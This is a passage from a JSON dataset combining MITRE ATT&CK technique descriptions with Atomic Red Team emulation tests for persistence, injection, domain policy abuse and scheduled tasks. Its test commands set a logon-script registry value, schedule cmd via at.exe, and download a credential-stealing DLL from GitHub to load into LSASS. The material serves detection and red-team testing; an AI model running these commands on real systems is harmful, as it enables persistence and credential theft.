- "id": "attack-pattern--eb125d40-0b2d-41ac-a71a-3229241c2cd3",
- "type": "attack-pattern",
- "created": "2020-01-10T03:43:37.211Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1037.001",
- "url": "https://attack.mitre.org/techniques/T1037/001"
- },
- {
- "url": "https://technet.microsoft.com/en-us/library/cc758918(v=ws.10).aspx",
- "description": "Microsoft. (2005, January 21). Creating logon scripts. Retrieved April 27, 2016.",
- "source_name": "TechNet Logon Scripts"
- },
- {
- "source_name": "Hexacorn Logon Scripts",
- "url": "http://www.hexacorn.com/blog/2014/11/14/beyond-good-ol-run-key-part-18/",
- "description": "Hexacorn. (2014, November 14). Beyond good ol\u2019 Run key, Part 18. Retrieved November 15, 2019."
- }
- ],
- "modified": "2020-03-24T23:45:03.153Z",
- "name": "Boot or Logon Initialization Scripts: Logon Script (Windows)",
- "description": "Adversaries may use Windows logon scripts automatically executed at logon initialization to establish persistence. Windows allows logon scripts to be run whenever a specific user or group of users log into a system.(Citation: TechNet Logon Scripts) This is done via adding a path to a script to the HKCU\\Environment\\UserInitMprLogonScript
Registry key.(Citation: Hexacorn Logon Scripts)\n\nAdversaries may use these scripts to maintain persistence on a single system. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary. ",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_detection": "Monitor for changes to Registry values associated with Windows logon scrips, nameley HKCU\\Environment\\UserInitMprLogonScript
.\n\nMonitor running process for actions that could be indicative of abnormal programs or executables running upon logon.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Process: Process Creation",
- "Command: Command Execution",
- "Windows Registry: Windows Registry Key Creation"
- ],
- "identifier": "T1037.001"
- },
- "atomic_tests": [
- {
- "name": "Logon Scripts",
- "auto_generated_guid": "d6042746-07d4-4c92-9ad8-e644c114a231",
- "description": "Adds a registry value to run batch script created in the %temp% directory. Upon execution, there will be a new environment variable in the HKCU\\Environment key\nthat can be viewed in the Registry Editor.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "script_path": {
- "description": "Path to .bat file",
- "type": "string",
- "default": "%temp%\\art.bat"
- },
- "script_command": {
- "description": "Command To Execute",
- "type": "string",
- "default": "echo Art \"Logon Script\" atomic test was successful. >> %USERPROFILE%\\desktop\\T1037.001-log.txt"
- }
- },
- "executor": {
- "command": "echo \"#{script_command}\" > #{script_path}\nREG.exe ADD HKCU\\Environment /v UserInitMprLogonScript /t REG_SZ /d \"#{script_path}\" /f\n",
- "cleanup_command": "REG.exe DELETE HKCU\\Environment /v UserInitMprLogonScript /f >nul 2>&1\ndel #{script_path} >nul 2>&1\ndel \"%USERPROFILE%\\desktop\\T1037.001-log.txt\" >nul 2>&1\n",
- "name": "command_prompt"
- }
- }
- ]
- },
- "T1055.015": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "ESET"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--eb2cb5cb-ae87-4de0-8c35-da2a17aafb99",
- "type": "attack-pattern",
- "created": "2021-11-22T15:02:15.190Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1055.015",
- "url": "https://attack.mitre.org/techniques/T1055/015"
- },
- {
- "source_name": "Microsoft List View Controls",
- "url": "https://docs.microsoft.com/windows/win32/controls/list-view-controls-overview",
- "description": "Microsoft. (2021, May 25). About List-View Controls. Retrieved January 4, 2022."
- },
- {
- "source_name": "Modexp Windows Process Injection",
- "url": "https://modexp.wordpress.com/2019/04/25/seven-window-injection-methods/",
- "description": "odzhan. (2019, April 25). Windows Process Injection: WordWarping, Hyphentension, AutoCourgette, Streamception, Oleum, ListPlanting, Treepoline. Retrieved November 15, 2021."
- },
- {
- "source_name": "ESET InvisiMole June 2020",
- "url": "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf",
- "description": "Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."
- }
- ],
- "modified": "2022-03-08T20:59:20.762Z",
- "name": "ListPlanting",
- "description": "Adversaries may abuse list-view controls to inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges. ListPlanting is a method of executing arbitrary code in the address space of a separate live process. Code executed via ListPlanting may also evade detection from security products since the execution is masked under a legitimate process.\n\nList-view controls are user interface windows used to display collections of items.(Citation: Microsoft List View Controls) Information about an application's list-view settings are stored within the process' memory in a SysListView32
control.\n\nListPlanting (a form of message-passing \"shatter attack\") may be performed by copying code into the virtual address space of a process that uses a list-view control then using that code as a custom callback for sorting the listed items.(Citation: Modexp Windows Process Injection) Adversaries must first copy code into the target process\u2019 memory space, which can be performed various ways including by directly obtaining a handle to the SysListView32
child of the victim process window (via Windows API calls such as FindWindow
and/or EnumWindows
) or other [Process Injection](https://attack.mitre.org/techniques/T1055) methods.\n\nSome variations of ListPlanting may allocate memory in the target process but then use window messages to copy the payload, to avoid the use of the highly monitored WriteProcessMemory
function. For example, an adversary can use the PostMessage
and/or SendMessage
API functions to send LVM_SETITEMPOSITION
and LVM_GETITEMPOSITION
messages, effectively copying a payload 2 bytes at a time to the allocated memory.(Citation: ESET InvisiMole June 2020) \n\nFinally, the payload is triggered by sending the LVM_SORTITEMS
message to the SysListView32
child of the process window, with the payload within the newly allocated buffer passed and executed as the ListView_SortItems
callback.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_detection": "Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as FindWindow
, FindWindowEx
, EnumWindows
, EnumChildWindows
, and those that can be used to modify memory within another process, such as VirtualAllocEx
/WriteProcessMemory
, may be abused for this technique. \n\nConsider monitoring for excessive use of SendMessage
and/or PostMessage
API functions with LVM_SETITEMPOSITION
and/or LVM_GETITEMPOSITION
arguments.\n\nAnalyze process behavior to determine if a process is performing unusual actions, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Process: Process Modification",
- "Process: OS API Execution"
- ],
- "x_mitre_permissions_required": [
- "User"
- ]
- },
- "atomic_tests": []
- },
- "T1484": {
- "technique": {
- "x_mitre_platforms": [
- "Windows",
- "Azure AD"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--ebb42bbe-62d7-47d7-a55f-3b08b61d792d",
- "type": "attack-pattern",
- "created": "2019-03-07T14:10:32.650Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1484",
- "url": "https://attack.mitre.org/techniques/T1484"
- },
- {
- "source_name": "ADSecurity GPO Persistence 2016",
- "url": "https://adsecurity.org/?p=2716",
- "description": "Metcalf, S. (2016, March 14). Sneaky Active Directory Persistence #17: Group Policy. Retrieved March 5, 2019."
- },
- {
- "description": "Robbins, A. (2018, April 2). A Red Teamer\u2019s Guide to GPOs and OUs. Retrieved March 5, 2019.",
- "url": "https://wald0.com/?p=179",
- "source_name": "Wald0 Guide to GPOs"
- },
- {
- "source_name": "Harmj0y Abusing GPO Permissions",
- "url": "http://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/",
- "description": "Schroeder, W. (2016, March 17). Abusing GPO Permissions. Retrieved March 5, 2019."
- },
- {
- "source_name": "Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks",
- "url": "https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/",
- "description": "MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 30, 2020."
- },
- {
- "source_name": "Microsoft - Azure Sentinel ADFSDomainTrustMods",
- "url": "https://github.com/Azure/Azure-Sentinel/blob/master/Detections/AuditLogs/ADFSDomainTrustMods.yaml",
- "description": "Microsoft. (2020, December). Azure Sentinel Detections. Retrieved December 30, 2020."
- },
- {
- "source_name": "Microsoft 365 Defender Solorigate",
- "url": "https://www.microsoft.com/security/blog/2020/12/28/using-microsoft-365-defender-to-coordinate-protection-against-solorigate/",
- "description": "Microsoft 365 Defender Team. (2020, December 28). Using Microsoft 365 Defender to protect against Solorigate. Retrieved January 7, 2021."
- },
- {
- "source_name": "Sygnia Golden SAML",
- "url": "https://www.sygnia.co/golden-saml-advisory",
- "description": "Sygnia. (2020, December). Detection and Hunting of Golden SAML Attack. Retrieved January 6, 2021."
- },
- {
- "source_name": "CISA SolarWinds Cloud Detection",
- "url": "https://us-cert.cisa.gov/ncas/alerts/aa21-008a",
- "description": "CISA. (2021, January 8). Detecting Post-Compromise Threat Activity in Microsoft Cloud Environments. Retrieved January 8, 2021."
- },
- {
- "source_name": "Microsoft - Update or Repair Federated domain",
- "url": "https://docs.microsoft.com/en-us/office365/troubleshoot/active-directory/update-federated-domain-office-365",
- "description": "Microsoft. (2020, September 14). Update or repair the settings of a federated domain in Office 365, Azure, or Intune. Retrieved December 30, 2020."
- }
- ],
- "modified": "2021-02-09T15:52:24.598Z",
- "name": "Domain Policy Modification",
- "description": "Adversaries may modify the configuration settings of a domain to evade defenses and/or escalate privileges in domain environments. Domains provide a centralized means of managing how computer resources (ex: computers, user accounts) can act, and interact with each other, on a network. The policy of the domain also includes configuration settings that may apply between domains in a multi-domain/forest environment. Modifications to domain settings may include altering domain Group Policy Objects (GPOs) or changing trust settings for domains, including federation trusts.\n\nWith sufficient permissions, adversaries can modify domain policy settings. Since domain configuration settings control many of the interactions within the Active Directory (AD) environment, there are a great number of potential attacks that can stem from this abuse. Examples of such abuse include modifying GPOs to push a malicious [Scheduled Task](https://attack.mitre.org/techniques/T1053/005) to computers throughout the domain environment(Citation: ADSecurity GPO Persistence 2016)(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions) or modifying domain trusts to include an adversary controlled domain where they can control access tokens that will subsequently be accepted by victim domain resources.(Citation: Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks) Adversaries can also change configuration settings within the AD environment to implement a [Rogue Domain Controller](https://attack.mitre.org/techniques/T1207).\n\nAdversaries may temporarily modify domain policy, carry out a malicious action(s), and then revert the change to remove suspicious indicators.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_detection": "It may be possible to detect domain policy modifications using Windows event logs. Group policy modifications, for example, may be logged under a variety of Windows event IDs for modifying, creating, undeleting, moving, and deleting directory service objects (Event ID 5136, 5137, 5138, 5139, 5141 respectively). Monitor for modifications to domain trust settings, such as when a user or application modifies the federation settings on the domain or updates domain authentication from Managed to Federated via ActionTypes Set federation settings on domain
and Set domain authentication
.(Citation: Microsoft - Azure Sentinel ADFSDomainTrustMods)(Citation: Microsoft 365 Defender Solorigate) This may also include monitoring for Event ID 307 which can be correlated to relevant Event ID 510 with the same Instance ID for change details.(Citation: Sygnia Golden SAML)(Citation: CISA SolarWinds Cloud Detection)\n\nConsider monitoring for commands/cmdlets and command-line arguments that may be leveraged to modify domain policy settings.(Citation: Microsoft - Update or Repair Federated domain) Some domain policy modifications, such as changes to federation settings, are likely to be rare.(Citation: Microsoft 365 Defender Solorigate)",
- "x_mitre_version": "2.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Command: Command Execution",
- "Active Directory: Active Directory Object Deletion",
- "Active Directory: Active Directory Object Modification",
- "Active Directory: Active Directory Object Creation"
- ],
- "x_mitre_defense_bypassed": [
- "System access controls",
- "File system access controls"
- ],
- "x_mitre_permissions_required": [
- "Administrator",
- "User"
- ]
- },
- "atomic_tests": []
- },
- "T1547.008": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Vincent Le Toux"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--f0589bc3-a6ae-425a-a3d5-5659bfee07f4",
- "created": "2020-01-24T18:38:55.801Z",
- "x_mitre_version": "1.0",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1547.008",
- "url": "https://attack.mitre.org/techniques/T1547/008"
- },
- {
- "source_name": "Microsoft LSA Protection Mar 2014",
- "url": "https://technet.microsoft.com/library/dn408187.aspx",
- "description": "Microsoft. (2014, March 12). Configuring Additional LSA Protection. Retrieved November 27, 2017."
- },
- {
- "source_name": "Microsoft DLL Security",
- "url": "https://msdn.microsoft.com/library/windows/desktop/ff919712.aspx",
- "description": "Microsoft. (n.d.). Dynamic-Link Library Security. Retrieved November 27, 2017."
- },
- {
- "source_name": "Microsoft Security Subsystem",
- "url": "https://technet.microsoft.com/library/cc961760.aspx",
- "description": "Microsoft. (n.d.). Security Subsystem Architecture. Retrieved November 27, 2017."
- },
- {
- "source_name": "TechNet Autoruns",
- "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902",
- "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may modify or add LSASS drivers to obtain persistence on compromised systems. The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process.(Citation: Microsoft Security Subsystem)\n\nAdversaries may target LSASS drivers to obtain persistence. By either replacing or adding illegitimate drivers (e.g., [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574)), an adversary can use LSA operations to continuously execute malicious payloads.",
- "modified": "2022-04-20T16:34:43.405Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Boot or Logon Autostart Execution: LSASS Driver",
- "x_mitre_detection": "With LSA Protection enabled, monitor the event logs (Events 3033 and 3063) for failed attempts to load LSA plug-ins and drivers. (Citation: Microsoft LSA Protection Mar 2014) Also monitor DLL load operations in lsass.exe. (Citation: Microsoft DLL Security)\n\nUtilize the Sysinternals Autoruns/Autorunsc utility (Citation: TechNet Autoruns) to examine loaded drivers associated with the LSA. ",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "File: File Creation",
- "Module: Module Load",
- "File: File Modification",
- "Driver: Driver Load"
- ],
- "x_mitre_permissions_required": [
- "SYSTEM",
- "Administrator"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "identifier": "T1547.008"
- },
- "atomic_tests": [
- {
- "name": "Modify Registry to load Arbitrary DLL into LSASS - LsaDbExtPt",
- "auto_generated_guid": "8ecef16d-d289-46b4-917b-0dba6dc81cf1",
- "description": "The following Atomic will modify an undocumented registry key that may be abused to load a arbitrary DLL into LSASS. \n\nUpon execution, the registry key will be modified and a value will contain the path to the DLL. \nReference: https://blog.xpnsec.com/exploring-mimikatz-part-1/ and source https://github.com/oxfemale/LogonCredentialsSteal\nNote that if any LSA based protection is enabled, this will most likely not be successful with LSASS.exe loading the DLL.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "dll_path": {
- "description": "Module to be loaded into LSASS",
- "type": "path",
- "default": "$env:TEMP\\lsass_lib.dll"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "lsass_lib.dll must exist on disk at specified location (#{dll_path})\n",
- "prereq_command": "if (Test-Path #{dll_path}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nInvoke-WebRequest \"https://github.com/oxfemale/LogonCredentialsSteal/raw/53e74251f397ddeab2bd1348c3ff26d702cfd836/lsass_lib/x64/Release/lsass_lib.dll\" -UseBasicParsing -OutFile \"#{dll_path}\"\n"
- }
- ],
- "executor": {
- "command": "New-ItemProperty -Path HKLM:\\SYSTEM\\CurrentControlSet\\Services\\NTDS -Name LsaDbExtPt -Value \"#{dll_path}\"\n",
- "cleanup_command": "Remove-ItemProperty -Path \"HKLM:\\SYSTEM\\CurrentControlSet\\Services\\NTDS\" -Name \"LsaDbExtPt\" -ErrorAction Ignore | Out-Null\n",
- "name": "powershell",
- "elevation_required": true
- }
- }
- ]
- },
- "T1078.004": {
- "technique": {
- "x_mitre_platforms": [
- "Azure AD",
- "Office 365",
- "SaaS",
- "IaaS",
- "Google Workspace"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Jon Sternstein, Stern Security"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--f232fa7a-025c-4d43-abc7-318e81a73d65",
- "created": "2020-03-13T20:36:57.378Z",
- "x_mitre_version": "1.4",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1078.004",
- "url": "https://attack.mitre.org/techniques/T1078/004"
- },
- {
- "source_name": "AWS Identity Federation",
- "url": "https://aws.amazon.com/identity/federation/",
- "description": "Amazon. (n.d.). Identity Federation in AWS. Retrieved March 13, 2020."
- },
- {
- "source_name": "Google Federating GC",
- "url": "https://cloud.google.com/solutions/federating-gcp-with-active-directory-introduction",
- "description": "Google. (n.d.). Federating Google Cloud with Active Directory. Retrieved March 13, 2020."
- },
- {
- "source_name": "Microsoft Deploying AD Federation",
- "url": "https://docs.microsoft.com/en-us/windows-server/identity/ad-fs/deployment/how-to-connect-fed-azure-adfs",
- "description": "Microsoft. (n.d.). Deploying Active Directory Federation Services in Azure. Retrieved March 13, 2020."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may obtain and abuse credentials of a cloud account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application. In some cases, cloud accounts may be federated with traditional identity management system, such as Window Active Directory.(Citation: AWS Identity Federation)(Citation: Google Federating GC)(Citation: Microsoft Deploying AD Federation)\n\nCompromised credentials for cloud accounts can be used to harvest sensitive data from online storage accounts and databases. Access to cloud accounts can also be abused to gain Initial Access to a network by abusing a [Trusted Relationship](https://attack.mitre.org/techniques/T1199). Similar to [Domain Accounts](https://attack.mitre.org/techniques/T1078/002), compromise of federated cloud accounts may allow adversaries to more easily move laterally within an environment.\n\nOnce a cloud account is compromised, an adversary may perform [Account Manipulation](https://attack.mitre.org/techniques/T1098) - for example, by adding [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003) - to maintain persistence and potentially escalate their privileges.",
- "modified": "2022-04-19T20:23:33.894Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Valid Accounts: Cloud Accounts",
- "x_mitre_detection": "Monitor the activity of cloud accounts to detect abnormal or malicious behavior, such as accessing information outside of the normal function of the account or account usage at atypical hours.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "initial-access"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "Logon Session: Logon Session Creation",
- "User Account: User Account Authentication",
- "Logon Session: Logon Session Metadata"
- ],
- "x_mitre_permissions_required": [
- "User",
- "Administrator"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "identifier": "T1078.004"
- },
- "atomic_tests": []
- },
- "T1053.002": {
- "technique": {
- "x_mitre_platforms": [
- "Windows",
- "Linux",
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--f3d95a1f-bba2-44ce-9af7-37866cd63fd0",
- "created": "2019-11-27T13:52:45.853Z",
- "x_mitre_version": "2.0",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1053.002",
- "url": "https://attack.mitre.org/techniques/T1053/002"
- },
- {
- "source_name": "rowland linux at 2019",
- "url": "https://www.linkedin.com/pulse/getting-attacker-ip-address-from-malicious-linux-job-craig-rowland/",
- "description": "Craig Rowland. (2019, July 25). Getting an Attacker IP Address from a Malicious Linux At Job. Retrieved October 15, 2021."
- },
- {
- "source_name": "GTFObins at",
- "url": "https://gtfobins.github.io/gtfobins/at/",
- "description": "Emilio Pinna, Andrea Cardaci. (n.d.). gtfobins at. Retrieved September 28, 2021."
- },
- {
- "source_name": "Linux at",
- "url": "https://man7.org/linux/man-pages/man1/at.1p.html",
- "description": "IEEE/The Open Group. (2017). at(1p) \u2014 Linux manual page. Retrieved February 25, 2022."
- },
- {
- "source_name": "Twitter Leoloobeek Scheduled Task",
- "url": "https://twitter.com/leoloobeek/status/939248813465853953",
- "description": "Loobeek, L. (2017, December 8). leoloobeek Status. Retrieved December 12, 2017."
- },
- {
- "source_name": "Microsoft Scheduled Task Events Win10",
- "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-other-object-access-events",
- "description": "Microsoft. (2017, May 28). Audit Other Object Access Events. Retrieved June 27, 2019."
- },
- {
- "source_name": "TechNet Scheduled Task Events",
- "url": "https://technet.microsoft.com/library/dd315590.aspx",
- "description": "Microsoft. (n.d.). General Task Registration. Retrieved December 12, 2017."
- },
- {
- "source_name": "TechNet Autoruns",
- "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902",
- "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016."
- },
- {
- "source_name": "TechNet Forum Scheduled Task Operational Setting",
- "url": "https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen",
- "description": "Satyajit321. (2015, November 3). Scheduled Tasks History Retention settings. Retrieved December 12, 2017."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may abuse the [at](https://attack.mitre.org/software/S0110) utility to perform task scheduling for initial or recurring execution of malicious code. The [at](https://attack.mitre.org/software/S0110) utility exists as an executable within Windows, Linux, and macOS for scheduling tasks at a specified time and date. Although deprecated in favor of [Scheduled Task](https://attack.mitre.org/techniques/T1053/005)'s [schtasks](https://attack.mitre.org/software/S0111) in Windows environments, using [at](https://attack.mitre.org/software/S0110) requires that the Task Scheduler service be running, and the user to be logged on as a member of the local Administrators group.\n\nOn Linux and macOS, [at](https://attack.mitre.org/software/S0110) may be invoked by the superuser as well as any users added to the at.allow
file. If the at.allow
file does not exist, the at.deny
file is checked. Every username not listed in at.deny
is allowed to invoke [at](https://attack.mitre.org/software/S0110). If the at.deny
exists and is empty, global use of [at](https://attack.mitre.org/software/S0110) is permitted. If neither file exists (which is often the baseline) only the superuser is allowed to use [at](https://attack.mitre.org/software/S0110).(Citation: Linux at)\n\nAdversaries may use [at](https://attack.mitre.org/software/S0110) to execute programs at system startup or on a scheduled basis for [Persistence](https://attack.mitre.org/tactics/TA0003). [at](https://attack.mitre.org/software/S0110) can also be abused to conduct remote [Execution](https://attack.mitre.org/tactics/TA0002) as part of [Lateral Movement](https://attack.mitre.org/tactics/TA0008) and/or to run a process under the context of a specified account (such as SYSTEM).\n\nIn Linux environments, adversaries may also abuse [at](https://attack.mitre.org/software/S0110) to break out of restricted environments by using a task to spawn an interactive system shell or to run system commands. Similarly, [at](https://attack.mitre.org/software/S0110) may also be used for [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) if the binary is allowed to run as superuser via sudo
.(Citation: GTFObins at)",
- "modified": "2022-04-18T20:12:04.110Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Scheduled Task/Job: At",
- "x_mitre_detection": "Monitor process execution from the svchost.exe in Windows 10 and the Windows Task Scheduler taskeng.exe for older versions of Windows. (Citation: Twitter Leoloobeek Scheduled Task) If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. Monitor Windows Task Scheduler stores in %systemroot%\\System32\\Tasks for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc.\n\nConfigure event logging for scheduled task creation and changes by enabling the \"Microsoft-Windows-TaskScheduler/Operational\" setting within the event logging service. (Citation: TechNet Forum Scheduled Task Operational Setting) Several events will then be logged on scheduled task activity, including: (Citation: TechNet Scheduled Task Events)(Citation: Microsoft Scheduled Task Events Win10)\n\n* Event ID 106 on Windows 7, Server 2008 R2 - Scheduled task registered\n* Event ID 140 on Windows 7, Server 2008 R2 / 4702 on Windows 10, Server 2016 - Scheduled task updated\n* Event ID 141 on Windows 7, Server 2008 R2 / 4699 on Windows 10, Server 2016 - Scheduled task deleted\n* Event ID 4698 on Windows 10, Server 2016 - Scheduled task created\n* Event ID 4700 on Windows 10, Server 2016 - Scheduled task enabled\n* Event ID 4701 on Windows 10, Server 2016 - Scheduled task disabled\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current scheduled tasks. (Citation: TechNet Autoruns)\n\nRemote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Tasks may also be created through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional logging may need to be configured to gather the appropriate data.\n\nIn Linux and macOS environments, monitor scheduled task creation using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. \n\nReview all jobs using the atq
command and ensure IP addresses stored in the SSH_CONNECTION
and SSH_CLIENT
variables, machines that created the jobs, are trusted hosts. All [at](https://attack.mitre.org/software/S0110) jobs are stored in /var/spool/cron/atjobs/
.(Citation: rowland linux at 2019)\n\nSuspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for [Command and Control](https://attack.mitre.org/tactics/TA0011), learning details about the environment through [Discovery](https://attack.mitre.org/tactics/TA0007), and [Lateral Movement](https://attack.mitre.org/tactics/TA0008).",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "execution"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "Process: Process Creation",
- "Command: Command Execution",
- "Scheduled Job: Scheduled Job Creation",
- "File: File Modification"
- ],
- "x_mitre_permissions_required": [
- "Administrator",
- "User"
- ],
- "x_mitre_remote_support": true,
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "identifier": "T1053.002"
- },
- "atomic_tests": [
- {
- "name": "At.exe Scheduled task",
- "auto_generated_guid": "4a6c0dc4-0f2a-4203-9298-a5a9bdc21ed8",
- "description": "Executes cmd.exe\nNote: deprecated in Windows 8+\n\nUpon successful execution, cmd.exe will spawn at.exe and create a scheduled task that will spawn cmd at a specific time.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "name": "command_prompt",
- "elevation_required": false,
- "command": "at 13:20 /interactive cmd\n"
- }
- }
- ]
- },
- "T1055.001": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945",
- "type": "attack-pattern",
- "created": "2020-01-14T01:26:08.145Z",
